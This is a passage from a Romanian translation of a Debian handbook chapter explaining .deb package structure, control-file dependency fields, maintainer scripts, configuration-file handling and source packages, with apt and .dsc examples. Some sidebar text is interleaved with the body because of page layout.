./control
./md5sums
./postinst
./postrm
$ cat debian-binary
2.0

După cum vedeți, arhiva ar a unui pachet Debian este alcătuită din trei fișiere:
debian-binary. Acesta este un fișier text care indică pur și simplu versiunea fișierului .deb utilizat (în 2017:
versiunea 2.0). În Debian Buster este încă în versiunea 2.0.
control.tar.xz Acest fișier arhivă conține toate meta-informațiile disponibile, cum ar fi numele și
versiunea pachetului. Unele dintre aceste meta-informații permit instrumentelor de gestionare a
pachetelor să stabilească dacă este posibil să îl instalați sau să îl dezinstalați, de exemplu în funcție
de lista de pachete care există deja pe mașină, și dacă fișierele aduse au fost modificate local.
data.tar.xz, data.tar.bz2 , data.tar.gz Aceste arhivă conține toate fișierele care vor fi
extrase din pachet; aici sunt stocate toate fișierele, documentația, etc. Pachetele pot utiliza alte
formate de compresie, caz în care fișierul va fi denumit diferit pentru xz, bzip2, sau gzip).

5.2. Pachet meta-informații

Pachetul Debian nu este doar o arhivă de fișiere destinate instalării. Face parte dintr-un întreg mai mare și
descrie relația sa cu alte pachete Debian (dependențe, conflicte, sugestii). De asemenea oferă scripturi care
permit executarea comenzilor în diferite etape ale ciclului de viață al pachetului (instalare, eliminare,
actualizări). Aceste date sunt utilizate de instrumentele de gestionare a pachetelor dar nu fac parte din
software-ul împachetat; ele sunt în cadrul pachetului ceea ce se numește “meta-informația” sa (informații
despre alte informații).

5.2.1. Descriere: fișierul control

Acest fișier utilizează o structură similară cu anteturile de e-mail (așa cum este definit în bara laterală “RFC
2822” pagina 78)și este pe deplin descris în Politica Debian, și paginile de manualul deb-control(5) și deb822(5).
➨ https://www.debian.org/doc/debian-policy/ch-controlfields.html
De exemplu, pentru apt, fișierul control arată astfel:
$ apt-cache show apt
Package: apt
Version: 1.8.2
Installed-Size: 4064
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)
Provides: apt-transport-https (= 1.8.2)
Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, libapt-pkg5.0 (>=
⮩ 1.7.0~alpha3~), libc6 (>= 2.15), libgcc1 (>= 1:3.0), libgnutls30 (>= 3.6.6),
⮩ libseccomp2 (>= 1.0.1), libstdc++6 (>= 5.2)
Recommends: ca-certificates
Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2),
⮩ gnupg | gnupg2 | gnupg1, powermgmt-base
Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude

77
 ⮩ (<< 0.8.10)
Description-en: commandline package manager
This package provides commandline tools for searching and
managing as well as querying information about packages
as a low-level access to all features of the libapt-pkg library.
.
These include:
* apt-get for retrieval of packages and information about them
from authenticated sources and for installation, upgrade and
removal of packages together with their dependencies
* apt-cache for querying available information about installed
as well as installable packages
* apt-cdrom to use removable media as a source for packages
* apt-config as an interface to the configuration settings
* apt-key as an interface to manage authentication keys
Description-md5: 9fb97a88cb7383934ef963352b53b4a7
Tag: admin::package-management, devel::lang:ruby, hardware::storage,
hardware::storage:cd, implemented-in::c++, implemented-in::perl,
implemented-in::ruby, interface::commandline, network::client,
protocol::ftp, protocol::http, protocol::ipv6, role::program,
scope::application, scope::utility, suite::debian, use::downloading,
use::organizing, use::playing, use::searching, works-with-format::html,
works-with::audio, works-with::software:package, works-with::text
Section: admin
Priority: required
Filename: pool/main/a/apt/apt_1.8.2_amd64.deb
Size: 1418108
MD5sum: 0e80dedab6ec1e66a8f6c15f1925d2d3
SHA256: 80e9600822c4943106593ca5b0ec75d5aafa74c6130ba1071b013c42c507475e

NOȚIUNI DE BAZĂ RFC este abrevierea pentru “Request For Comments — Cerere De Comentarii”. Un RFC este în general un
RFC — standarde de internet document tehnic care descrie ce va deveni un standard de internet. Înainte de a deveni standardizate și înghețate,
aceste standarde sunt supuse revizuirii publice (de aici și numele lor). IETF (Internet Engineering Task Force)
decide asupra evoluției stării acestor documente (standard propus, proiect de standard sau standard).
RFC 2026 definește procesul de standardizare a protocoalelor Internet.
➨ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dependențe: câmpul Depends

Dependențele sunt definite în câmpul Depends din antetul pachetului. Aceasta este o listă de condiții care
trebuie îndeplinite pentru ca pachetul să funcționeze corect — aceste informații sunt utilizate de instrumente
ca apt pentru a instala bibliotecile necesare, în versiunile corespunzătoare care îndeplinesc dependențele
pachetului poate fi instalat. Pentru fiecare dependență este posibil să restricționați gama de versiuni care
îndeplinesc această condiție. Cu alte cuvinte, este posibil să exprimăm faptul că avem nevoie de pachetul
libc6 într-o versiune egală sau mai mare decât “2.15” (scris “libc6 (>=2.15)”). Operatorii de comparare a
versiunilor sunt următorii:
• <<: mai mic ca;
• <=: mai mic sau egal cu;
• =: egal cu (rețineți că “2.6.1” nu este egal cu “2.6.1-1”);
• >=: mai mare sau egal cu;
• >>: mai mare ca.
Într-o listă de condiții care trebuie îndeplinite, virgula servește ca separator. Trebuie interpretat ca un “și”
logic. În condiții, bara verticală (“|”) exprimă un “sau” logic (este un “sau” inclusiv, nu o exclusivă “fie/sau”). Cu
prioritate mai mare decât “și”, poate fi folosit de câte ori este necesar. Astfel, dependența “(A sau B) și C” este
scrisă A | B, C. În schimb, expresia “A sau (B și C)” ar trebui scrisă ca “(A sau B) și (A sau C)”, deoarece
câmpul Depends nu tolerează parantezele care schimbă ordinea priorităților între operatorii logici “sau” și
“și”. Astfel, s-ar scrie A | B, A | C.
➨ https://www.debian.org/doc/debian-policy/#document-ch-relationships
Sistemul de dependențe este un mecanism bun pentru garantarea funcționării unui program, dar are o altă
utilizare cu “meta-pachete”. Acestea sunt pachete goale care descriu doar dependențe. Acestea facilitează
instalarea unui grup consistent de programe preselectate de întreținătorul meta-pachetului; ca atare, apt
install meta-package va instala automat toate aceste programe folosind dependențele meta-
pachetului. Pachetele gnome, kde-full și linux-image-amd64 sunt exemple de meta-pachete.

78
 POLITICA DEBIAN Câmpurile Recommends și Suggests descriu dependențe care nu sunt obligatorii. Dependențele
Câmpurile Recommends, “recomandate”, cele mai importante, îmbunătățesc considerabil funcționalitatea oferită de pachet dar nu sunt
Suggests și Enhance indispensabile funcționării acestuia. Dependențele “sugerate”, de importanță secundară, indică faptul că anumite
pachete pot completa și crește utilitatea respectivă, dar este perfect rezonabil să instalați unul fără celelalte.
Ar trebui să instalați întotdeauna pachetele “recomandate”, cu excepția cazului în care știți exact de ce nu aveți
nevoie de ele. În schimb, nu este necesar să instalați pachete “sugerate” decât dacă știți de ce aveți nevoie.
Comportamentul apt poate fi controlat utilizând opțiunile de configurare APT::Install-Recommends și
APT::Install-Suggests sau opțiunile corespunzătoare din linia de comandă --[no-]install-
recommends și --[no-]install-suggests.
Câmpul Enhance descrie și o sugestie, dar într-un context diferit. Este într-adevăr situat în pachetul sugerat și
nu în pachetul care beneficiază de sugestie. Interesul său constă în faptul că este posibil să adăugați o sugestie
fără a fi necesar să modificați pachetul în cauză. Astfel, toate suplimentele, pluginurile și alte extensii ale unui
program pot apărea apoi în lista de sugestii legate de software. Deși a existat de câțiva ani, acest ultim câmp este
încă în mare parte ignorat de programe ca sau . Scopul său este ca o sugestie făcută de câmpul Enhance să
apară utilizatorului pe lângă sugestiile tradiționale — găsite în câmpul Suggests.

POLITICA DEBIAN “Pre-dependențele” care sunt enumerate în câmpul “Pre-Depends” din anteturile pachetului completează
Pre-depends, mai multe dependențele normale; sintaxa lor este identică. O dependență normală indică faptul că pachetul respectiv trebuie
cerințe de Depends dezambalat și configurat înainte de configurarea pachetului care declară dependența. O pre-dependență prevede
că pachetul în cauză trebuie despachetat și configurat înainte de executarea scriptului de pre-instalare a
pachetului care declară pre-dependența, adică înainte de instalarea acestuia.
O pre-dependență este foarte solicitantă pentru apt, deoarece adaugă o restricție strictă la ordonarea pachetelor
de instalat. Ca atare, pre-dependențele sunt descurajate, cu excepția cazului în care este absolut necesar. Este
chiar recomandat să consultați pe debian-devel@lists.debian.org alți dezvoltatori înainte de a adăuga o pre-
dependență. În general, este posibil să găsiți o altă soluție ca o rezolvare.

5.2.1.2. Conflicte: câmpul Conflicts

Câmpul Conflicts indică când un pachet nu poate fi instalat simultan cu un altul. Cele mai frecvente
motive pentru aceasta sunt că ambele pachete includ un fișier cu același nume sau furnizează același
serviciu pe același port TCP sau ar împiedica funcționarea celuilalt.
dpkg va refuza să instaleze un pachet dacă declanșează un conflict cu un pachet deja instalat, cu excepția
cazului în care noul pachet specifică că va “înlocui” pachetul instalat, caz în care dpkg va alege să
înlocuiască pachetul vechi cu unul nou. apt urmează întotdeauna instrucțiunile dvs.: dacă alegeți să instalați
un pachet nou, acesta va oferi automat dezinstalarea pachetului care prezintă o problemă.

5.2.1.3. Incompatibilități: câmpul Breaks

Câmpul Breaks are un efect similar cu cel al Conflicts dar cu un sens special. Semnalizează că
instalarea unui pachet va “sparge”, va “strica” un alt pachet (sau versiuni particulare ale acestuia). În general
această incompatibilitate între două pachete este tranzitorie iar relația Breaks se referă în mod specific la
versiunile incompatibile.
dpkg va refuza să instaleze un pachet care întrerupe un pachet deja instalat și apt va încerca să rezolve
problema prin actualizarea pachetului care va fi spart la o versiune mai nouă (care se presupune că este
remediat, și prin urmare, este din nou compatibil).
Acest tip de situație poate apărea în cazul actualizărilor fără compatibilitate în amonte: aceasta se întâmplă
dacă noua versiune nu mai funcționează cu versiunea mai veche și provoacă o defecțiune în alt program
fără a face prevederi speciale. Câmpul Breaks împiedică utilizatorul să se confrunte cu aceste probleme.

5.2.1.4. Elemente furnizate: câmpul Provides

Acest câmp introduce conceptul foarte interesant de “pachet virtual”. Are multe roluri dar două au o
importanță deosebită. Primul rol constă în utilizarea unui pachet virtual pentru a asocia un serviciu generic cu
acesta (pachetul oferă, “furnizează” serviciul). Al doilea indică faptul că un pachet înlocuiește complet un altul,
și că în acest scop poate satisface și dependențele pe care celălalt le-ar satisface. Astfel, este posibil să se
creeze un pachet de substituție fără a fi necesar să folosești același nume de pachet.

VOCABULAR Este esențial să distingem meta-pachetele în mod clar de pachetele virtuale. Primele sunt pachete reale (inclusiv
Meta-pachet și pachet virtual fișierele reale .deb, al căror singur scop este exprimarea dependențelor.

79
 Totuși, pachetele virtuale nu există fizic; ele sunt doar un mijloc de identificare a pachetelor reale pe baza unor
criterii comune, logice (serviciul furnizat, compatibilitatea cu un program standard sau un pachet preexistent
etc.).

5.2.1.4.1. Furnizarea unui “Service”

Să discutăm primul caz mai detaliat cu un exemplu: toate mail server-ele cum ar fi postfix sau sendmail, așa
cum spun, “furnizează" pachetul virtual mail-transport-agent. Astfel, orice pachet care are nevoie de acest
serviciu pentru a fi funcțional (de exemplu, un manager de liste de corespondență, precum smartlist sau
sympa), pur și simplu afirmă în dependențele sale, că necesită un mail-transport-agent în loc să specifice o
listă mare, dar incompletă, de soluții posibile (de ex. postfix | sendmail | exim4 | …). Mai mult,
este inutil să instalați două mail server-e pe aceeași mașină, motiv pentru care fiecare dintre aceste pachete
declară un conflict cu pachetul virtual mail-transport-agent. Un conflict între un pachet și el însuși este ignorat
de sistem, dar această tehnică va interzice instalarea a două mail server-e una lângă alta.

POLITICA DEBIAN Pentru ca pachetele virtuale să fie utile, toată lumea trebuie să fie de acord cu numele lor. Acesta este motivul
Lista pachetelor virtuale pentru care sunt standardizate în politica Debian. Lista include, printre altele, mail-transport-agent pentru mail
server, c-compiler pentru compilatorii de limbaje de programare C, www-browser pentru web browser, httpd
pentru web server, ftp-server pentru FTP server, x-terminal-emulator pentru emulatoare de terminale în modul
grafic (xterm) și x-window-manager pentru managerii de ferestre.
Lista completă poate fi găsită pe Web.
➨ http://www.debian.org/doc/packaging-manuals/virtual-package-names-
list.txt

5.2.1.4.2. Interschimbabilitatea cu un alt pachet

Câmpul Provides este de asemenea interesant atunci când conținutul unui pachet este inclus într-un
pachet mai mare. De exemplu, Modulul Perl libdigest-md5-perl a fost un modul opțional în Perl 5.6 și a fost
integrat ca standard în Perl 5.8 (și versiunile ulterioare, cum ar fi 5.28 prezent în Buster). Ca atare, pachetul
perl are, de la versiunea 5.8, declarată Provides: libdigest-md5-perl astfel încât dependențele de
acest pachet să fie îndeplinite dacă utilizatorul are Perl 5.8 (sau mai nou). Pachetul libdigest-md5-perl în cele
din urmă a fost șters, deoarece nu mai avea niciun scop atunci când versiunile vechi de Perl au fost
eliminate.

Figura 5.1 Utilizarea unui câmp Provides pentru a nu rupe dependențele

Această caracteristică este foarte utilă, întrucât nu este niciodată posibil să anticipezi ciudățeniile dezvoltării
și este necesar să se poată adapta la redenumirea și la alte înlocuiri automate ale software-ului învechit.

80
 NOȚIUNI DE BAZĂ Perl (Practical Extraction and Report Language) este un limbaj de programare foarte popular. Are multe module
Perl, un limbaj de programare gata de utilizare care acoperă un spectru vast de aplicații și care sunt distribuite de CPAN server-e
(Comprehensive Perl Archive Network), o rețea exhaustivă de pachete Perl.
➨ http://www.perl.org/
➨ http://www.cpan.org/
Întrucât este un limbaj interpretat, un program scris în Perl nu necesită compilare înainte de execuție. Acesta este
motivul pentru care sunt numite “scripturi Perl”.

5.2.1.4.3. Limitări din trecut

Pachetele virtuale obișnuiau să sufere de unele limitări, dintre care cea mai semnificativă a fost absența unui
număr de versiune. Pentru a reveni la exemplul anterior, o dependență cum ar fi Depends: libdigest-
md5-perl (>= 1.6), în ciuda prezenței Perl 5.10, nu ar fi niciodată considerat a fi satisfăcut de sistemul de
împachetare — deși cel mai probabil este satisfăcut. Neștiind acest lucru, sistemul de pachete a ales cea
mai puțin riscantă opțiune, presupunând că versiunile nu se potrivesc.
Această limitare a fost ridicată în dpkg 1.17.11 și nu mai este relevantă. Pachetele pot atribui o versiune
pachetelor virtuale pe care le furnizează cu o dependență, cum ar fi Provides: libdigest-md5-perl
(= 1.8).

5.2.1.5. Înlocuirea fișierelor: câmpul Replaces

Câmpul Replaces indică faptul că pachetul conține fișiere care sunt de asemenea prezente într-un alt
pachet, dar că pachetul are dreptul legitim să le înlocuiască. Fără această specificație, dpkg nu reușește,
precizând că nu poate suprascrie fișierele unui alt pachet (din punct de vedere tehnic este posibil să îl
forțeze să facă acest lucru cu opțiunea --force-overwrite dar aceasta nu este considerată operație
standard). Acest lucru permite identificarea potențialelor probleme și cere din partea întreținătorului să
studieze problema înainte de a alege dacă se adaugă un astfel de câmp.
Utilizarea acestui câmp este justificată atunci când numele de pachet se schimbă sau când un pachet este
inclus într-un altul. Acest lucru se întâmplă și atunci când întreținătorul decide să distribuie fișiere altfel între
diverse pachete binare produse din același pachet sursă: un fișier înlocuit nu mai aparține pachetului vechi,
ci doar celui nou.
Dacă toate fișierele dintr-un pachet instalat au fost înlocuite, pachetul este considerat a fi eliminat. În cele
din urmă, acest câmp încurajează, de asemenea, dpkg să elimine pachetul înlocuit acolo unde există un
conflict.

ÎN DETALIU În exemplul apt de mai sus, putem vedea prezența unui câmp pe care nu l-am descris încă, câmpul Tag. Acest
Câmpul Tag câmp nu descrie o relație între pachete, ci este pur și simplu o modalitate de clasificare a unui pachet într-o
taxonomie tematică. Această clasificare a pachetelor în funcție de mai multe criterii (tipul interfeței, limbajul de
programare, domeniul de aplicare etc.) este disponibilă de multă vreme. În ciuda acestui fapt, nu toate pachetele
au etichete precise și nu este încă integrat în toate instrumentele Debian; aptitude afișează aceste etichete și
le permite să fie utilizate drept criterii de căutare. Pentru cele respinse de criteriile de căutare ale aptitude,
următorul site permite navigarea în baza de date a etichetelor:
➨ http://debtags.alioth.debian.org/

5.2.2. Scripturi de configurare

În plus față de fișierul control, arhiva control.tar.gz pentru fiecare pachet Debian poate conține o
serie de scripturi, apelate de dpkg la diferite etape în procesarea unui pachet. Politica Debian descrie
cazurile posibile în detaliu6, specificând scripturile numite și argumentele pe care le primesc. Aceste
secvențe pot fi complicate, deoarece dacă unul dintre scripturi nu reușește, dpkg va încerca să revină la o
stare satisfăcătoare anulând instalarea sau eliminarea în curs (în măsura în care este posibil).

ÎN DETALIU Toate scripturile de configurare pentru pachetele instalate sunt stocate în directorul /var/lib/dpkg/info/
Baza de date dpkg sub forma unui fișier prefixat cu numele pachetului. Acest director include, de asemenea, un fișier cu extensia
.list pentru fiecare pachet, care conține lista de fișiere care aparțin pachetului respectiv.

6https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

81
 Fișierul /var/lib/dpkg/status conține o serie de blocuri de date (în formatul faimoaselor antete de mail,
RFC 2822) care descrie starea fiecărui pachet. Informațiile din fișierul control al pachetelor instalate sunt de
asemenea reproduse acolo.

În general, scriptul preinst este executat înainte de instalarea pachetului, în timp ce postinst îl
urmărește. De asemenea, prerm este invocat înainte de eliminarea unui pachet și postrm ulterior. O
actualizare a unui pachet este echivalentă cu eliminarea versiunii anterioare și instalarea celui nou. Nu este
posibil să descriem în detaliu toate scenariile posibile aici, dar vom discuta despre două cele mai comune: o
instalare sau actualizare, și o eliminare.

ATENȚIE Secvențele descrise în această secțiune apelează scripturi de configurare cu nume specifice, cum ar fi old-
Numele simbolice ale prerm sau new-postinst. Acestea sunt, respectiv, scriptul prerm conținute în versiunea veche a pachetului
scripturilor (instalat înainte de actualizare) și scriptul postinst conținut în noua versiune (instalat de actualizare).

SFAT Manoj Srivastava a realizat aceste diagrame explicând modul în care scripturile de configurare sunt numite de
Diagrame de Stare dpkg. Diagrame similare au fost elaborate și de proiectul Debian Women; sunt puțin mai ușor de înțeles, dar mai
puțin complete.
➨ https://people.debian.org/~srivasta/MaintainerScripts.html
➨ https://wiki.debian.org/doc/debian-policy/#maintainer-script-flowcharts

5.2.2.1. Instalare și upgrade

Iată ce se întâmplă în timpul unei instalări (sau a unei actualizări):
1. Pentru o actualizare, dpkg cere old-prerm upgrade new-version.
2. Totuși pentru o actualizare, dpkg execută apoi new-preinst upgrade old-version; pentru o
primă instalare, execută new-preinst install. Poate adăuga versiunea veche în ultimul
parametru, dacă pachetul a fost deja instalat și dat fiind că a fost eliminat (dar nu a fost purificat,
fișierele de configurare fiind păstrate).
3. Noile fișiere de pachet sunt apoi despachetate. Dacă un fișier există deja, acesta este înlocuit, dar
se face temporar o copie de rezervă.
4. Pentru o actualizare, dpkg execută old-postrm upgrade new-version.
5. dpkg actualizează toate datele interne (listă de fișiere, scripturi de configurare, etc.) și elimină
copiile de rezervă ale fișierelor înlocuite. Acesta este este punctul fără întoarcere: dpkg nu mai are
acces la toate elementele necesare pentru a reveni la starea anterioară.
6. dpkg va actualiza fișierele de configurare, solicitând utilizatorului să decidă dacă nu este în măsură
să gestioneze automat această sarcină. Detaliile acestei proceduri sunt discutate în secțiunea
5.2.3. “Checksums, lista fișierelor de configurare” pagina 83.
7. În cele din urmă, dpkg configurează pachetul executând new-postinst configure last-
version-configured.

5.2.2.2. Eliminarea pachetelor

Iată ce se întâmplă în timpul eliminării unui pachet:
1. dpkg apelează prerm remove.
2. dpkg elimină toate fișierele pachetului, cu excepția fișierelor de configurare și a scripturilor de
configurare.
3. dpkg execută postrm remove. Toate scripturile de configurare, cu excepția postrm, sunt
eliminate. Dacă utilizatorul nu a folosit opțiunea “purge”, procesul se va opri aici.
4. Pentru o purjare completă a pachetului (comanda emisă cu dpkg --purge sau dpkg -P), fișierele
de configurare sunt de asemenea șterse, precum și un anumit număr de copii (*.dpkg-tmp,
*.dpkg-old, *.dpkg-new) și fișiere temporare; dpkg apoi execută postrm purge.

VOCABULAR Când un pachet Debian este eliminat, fișierele de configurare sunt păstrate pentru a facilita o posibilă reinstalare.
Purge, o eliminare completă De asemenea, de obicei sunt păstrate datele generate de un demon (cum ar fi conținutul unui director LDAP
server sau conținutul unei baze de date pentru un SQL server).
Pentru a elimina toate datele asociate cu un pachet, este necesar să „purjați” pachetul cu comanda, dpkg -P
pachet, apt-get remove --purge package sau aptitude purge package.
Având în vedere natura definitivă a acestor retrageri de date, o decizie de purjare nu trebuie luată cu ușurință.

82
Cele patru scripturi detaliate mai sus sunt completate de un script config, furnizat de pachete care folosesc
debconf pentru a achiziționa informații de la utilizator pentru configurare. În timpul instalării, acest script
definește în detaliu întrebările puse de debconf. Răspunsurile sunt înregistrate în baza de date debconf
pentru referințe viitoare. Scriptul este, în general, executat de apt înainte de instalarea pachetelor unul câte
unul, pentru a grupa toate întrebările și a le adresa tuturor utilizatorilor la începutul procesului. Scripturile pre-
și post-install pot utiliza aceste informații pentru a opera în funcție de dorințele utilizatorului.

INSTRUMENT debconf a fost creat pentru a rezolva o problemă recurentă în Debian. Toate pachetele Debian nu pot funcționa
debconf fără o configurație minimă folosită pentru a pune întrebări cu apeluri la comenzile echo și read din scripturile
shell postinst (și alte scripturi similare). Însă acest lucru înseamnă, de asemenea, că în timpul unei mari
instalări sau actualizări utilizatorul trebuie să stea la computerul pentru a răspunde la diverse întrebări care pot
apărea în orice moment. Aceste interacțiuni manuale au fost distribuite aproape în întregime, datorită
instrumentului debconf.
debconf are multe caracteristici interesante: cere din partea dezvoltatorului să specifice interacțiunea
utilizatorului; permite localizarea tuturor șirurilor afișate utilizatorilor (toate traducerile sunt stocate în fișierul
templates care descrie interacțiunile); are frontoane diferite pentru afișarea întrebărilor către utilizator
(modul text, modul grafic, non-interactiv); și permite crearea unei baze de date centrale cu răspunsuri pentru a
partaja aceeași configurație cu mai multe calculatoare... dar cel mai important este că acum este posibilă
prezentarea tuturor întrebărilor la rând utilizatorului, înainte de a începe o instalare lungă sau procesul de
actualizare. Utilizatorul poate să își desfășoare activitatea în timp ce sistemul se ocupă de instalare de unul
singur, fără a fi necesar să stea acolo privind fix pe ecran în așteptarea întrebărilor.

5.2.3. Checksums, lista fișierelor de configurare

Pe lângă scripturile de întreținere și datele de control menționate deja în secțiunile anterioare, arhiva
control.tar.gz a unui pachet Debian poate conține alte fișiere interesante. Primul, md5sums, conține
sumele de verificare MD5 pentru toate fișierele pachetului. Avantajul principal este că permite dpkg --
verify (pe care îl vom studia în secțiunea 14.3.3.1. “Auditarea pachetelor cu dpkg –verify” pagina 313) și
debsums (din pachetul cu același nume; vedeți secțiunea 14.3.4.2. “Pachetele de audit: debsums și limitele sale”
pagina 314)pentru a verifica dacă aceste fișiere au fost modificate de la instalarea lor. Rețineți că atunci când
acest fișier nu există, dpkg îl va genera dinamic la momentul instalării (și îl va stoca în baza de date dpkg la
fel ca alte fișiere de control).
conffiles listează fișierele pachetelor care trebuie gestionate ca fișiere de configurare (vedeți, de
asemenea, deb-conffiles(5)). Fișierele de configurare pot fi modificate de către administrator, iar dpkg va
încerca să păstreze acele modificări în timpul unei actualizări a pachetului.
De fapt, în această situație, dpkg se comportă cât se poate de inteligent: dacă fișierul de configurare
standard nu s-a schimbat între cele două versiuni, nu face nimic. Dacă, totuși, fișierul s-a schimbat, acesta
va încerca să actualizeze acest fișier. Două cazuri sunt posibile: fie administratorul nu a atins acest fișier de
configurare, caz în care dpkg instalează automat noua versiune; sau fișierul a fost modificat, caz în care
dpkg întreabă administratorul care versiune dorește să o utilizeze (cea veche cu modificări sau noua
furnizată cu pachetul). Pentru a ajuta la luarea acestei decizii, dpkg oferă afișarea unui “diff” care arată
diferența dintre cele două versiuni. Dacă utilizatorul alege să păstreze versiunea veche, cea nouă va fi
stocată în aceeași locație într-un fișier cu sufixul .dpkg-dist. Dacă utilizatorul alege noua versiune, cea
veche este păstrată într-un fișier cu sufixul .dpkg-old. O altă acțiune disponibilă constă în întreruperea
momentană a dpkg pentru a edita fișierul și încercarea de a reinstala modificările relevante (identificate
anterior cu diff).

ÎN DETALIU Opțiunea --force-confask îi cere lui dpkg să afișeze întrebările despre fișierele de configurare, chiar și în
Forțați dpkg să pună întrebări cazurile în care în mod normal nu ar fi necesare. Astfel, când reinstalați un pachet cu această opțiune, dpkg va
despre fișierul de configurare pune din nou întrebările pentru toate fișierele de configurare modificate de administrator. Acest lucru este foarte
convenabil, în special pentru reinstalarea fișierului de configurare original dacă a fost șters și nu este disponibilă
o altă copie: o reinstalare normală nu va funcționa, deoarece dpkg consideră eliminarea ca o formă de
modificare legitimă și, astfel, nu nu instalați fișierul de configurare dorit.

ÎN DETALIU dpkg gestionează actualizările fișierelor de configurare, dar, în timp ce face acest lucru, întrerupe în mod regulat
Evitarea întrebărilor despre activitatea sa pentru a solicita administratorului introducerea de date. Acest lucru îl face mai puțin plăcut pentru
fișierul de configurare cei care doresc să ruleze actualizări într-un mod non-interactiv. Acesta este motivul pentru care acest program
oferă opțiuni care permit sistemului să răspundă automat după aceeași logică: --force-confold păstrează
versiunea veche a fișierului; --force-confnew va folosi noua versiune a fișierului (aceste opțiuni sunt
respectate, chiar dacă fișierul nu a fost modificat de către

83
 administrator, care are doar rar efectul dorit). Adăugând opțiunea --force-confdef îi spune lui dpkg să
decidă de la sine când este posibil (cu alte cuvinte, când fișierul de configurare original nu a fost atins) și
folosește doar --force-confnew sau --force-confold pentru alte cazuri. Aceste opțiuni se aplică la
dpkg, dar de cele mai multe ori administratorul va lucra direct cu programele aptitude sau apt-get. Prin
urmare, este necesar să cunoaștem sintaxa folosită pentru a indica opțiunile pentru a trece la comanda dpkg
(interfețele lor din linie de comandă sunt foarte similare).
# apt -o DPkg::options::=”--force-confdef” -o DPkg::options
⮩ ::=”--force-confold” full-upgrade
Aceste opțiuni pot fi stocate direct în configurația apt. Pentru a face acest lucru, scrieți următoarea linie în
fișierul /etc/apt/apt.conf.d/local:
DPkg::options { ”--force-confdef”; ”--force-confold”; }
Includerea acestei opțiuni în fișierul de configurare înseamnă că va fi folosită și într-o interfață grafică, cum ar fi
aptitude.

5.3. Structura unui pachet sursă

5.3.1. Format
Un pachet sursă este de obicei format din trei fișiere, .dsc, .orig.tar.gz și .debian.tar.gz (sau
.diff.gz). Ele permit crearea de pachete binare (fișiere .deb descrise mai sus) din fișierele cod sursă ale
programului, care sunt scrise într-un limbaj de programare.
Fișierul .dsc (Debian Source Control) este un fișier text scurt care conține un antet RFC 2822 (exact ca fișierul
control studiat în secțiunea 5.2.1. “Descriere: fișierul control” pagina 77) care descrie pachetul sursă și indică
ce alte fișiere fac parte. Este semnat de către întreținătorul său, care garantează autenticitatea. Vedeți
secțiunea 6.6. “Verificarea autenticității pachetului” pagina 113 pentru detalii suplimentare despre acest subiect.

Exemplul 5.1 Un fișier .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim
Binary: zim
Architecture: all
Version: 0.68-1
Maintainer: Zim Package Maintainers <zim@packages.debian.org>
Uploaders: Raphaël Hertzog <hertzog@debian.org>
Homepage: http://zim-wiki.org
Standards-Version: 4.1.3
Vcs-Browser: https://salsa.debian.org/debian/zim
Vcs-Git: https://salsa.debian.org/debian/zim.git
Build-Depends: debhelper (>= 11), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>=
⮩ 2.6), python-gtk2, python-xdg, dh-python
Package-List:
zim deb x11 optional arch=all
Checksums-Sha1:
a3b50aa8e44126cc7edd2c1912adf9820f50ad58 2044224 zim_0.68.orig.tar.gz
4e13b37625789334da2d95b93e51e41ffd3b6b01 9300 zim_0.68-1.debian.tar.xz
Checksums-Sha256:
d91518e010f6a6e951a75314138b5545a4c51151fc99f513aa7768a18858df15 2044224 zim_0.68.
⮩ orig.tar.gz
23f4ddc69af74509932acc3b5f0d4cd2af943016e4fd5740b9d98ec4d49fd8c2 9300 zim_0.68-1.
⮩ debian.tar.xz
Files:
336041a16687abb66fd9f604b98407e8 2044224 zim_0.68.orig.tar.gz
1714f67b35ab69e709849ad707206ca8 9300 zim_0.68-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlqyOxkACgkQA4gdq+vC
mrnCqAf/Ww9wg97VragtVhSFvehoVoJ0ZhoqNaSuCP/W1Fuf+P0YklzL2BlkVRXW
X23c8Qs1v6VE2iRY3mEkdWwgBs1QwF0MX7H1jjQfPHCynGHKlH5dfo5fqLizgCeu
c9Pug3ZisjF90CgsseO7SVDqHVmO6QsfAaGWpHAw92HDz/xwjrS/4Ejntqjy0b+r
Gmw2AZuBdhp+7C6p7In/Gg6DHPBLQGMLCKypoZKQdl+L0fWjjeykOzMIbjry2sRH

84
H0J4FLVGAGumh3zIZlm/t3ehGfP9Dg8FvzMaCNsf8OtYCSAEutrQEDBaskcTSIpq
L0GQhKlViDuu8gzsqm7efPEhPcsF1A==
=6jGR
-----END PGP SIGNATURE-----

Rețineți că pachetul sursă are, de asemenea, dependențe (Build-Depends) complet distincte de cele ale
pachetelor binare, deoarece acestea indică instrumentele necesare pentru a compila software-ul în cauză și a
construi pachetul său binar.

ATENȚIE Este important de menționat aici că nu este necesară o corespondență între numele pachetului(elor) sursă și cel al
namespaces distincte pachetului(elor) binar pe care îl generează. Este destul de ușor să înțelegi dacă știi că fiecare pachet sursă poate
genera mai multe pachete binare. Acesta este motivul pentru care fișierul .dsc are câmpurile Source și
Binary pentru a denumi explicit pachetul sursă și pentru a stoca lista de pachete binare pe care le generează.

CULTURĂ Destul de des, un pachet sursă (pentru un software dat) poate genera mai multe pachete binare. Divizarea este
De ce împărțirea în mai multe justificată de posibilitatea de a utiliza (părți din) software-ul în diferite contexte. Luați în considerare o bibliotecă
pachete partajată, aceasta poate fi instalată pentru a face o aplicație să funcționeze (de exemplu, libc6) sau poate fi
instalată pentru a dezvolta un nou program (libc6-dev va fi apoi pachetul corect). Găsim aceeași logică pentru
serviciile client/server unde dorim să instalăm partea de server pe o mașină și partea client pe altele (acesta este
cazul, de exemplu, al openssh-server și openssh-client).
La fel de frecvent, documentația este furnizată într-un pachet dedicat: utilizatorul o poate instala independent de
software și poate oricând alege să o elimine pentru a economisi spațiu pe disc. În plus, acest lucru economisește
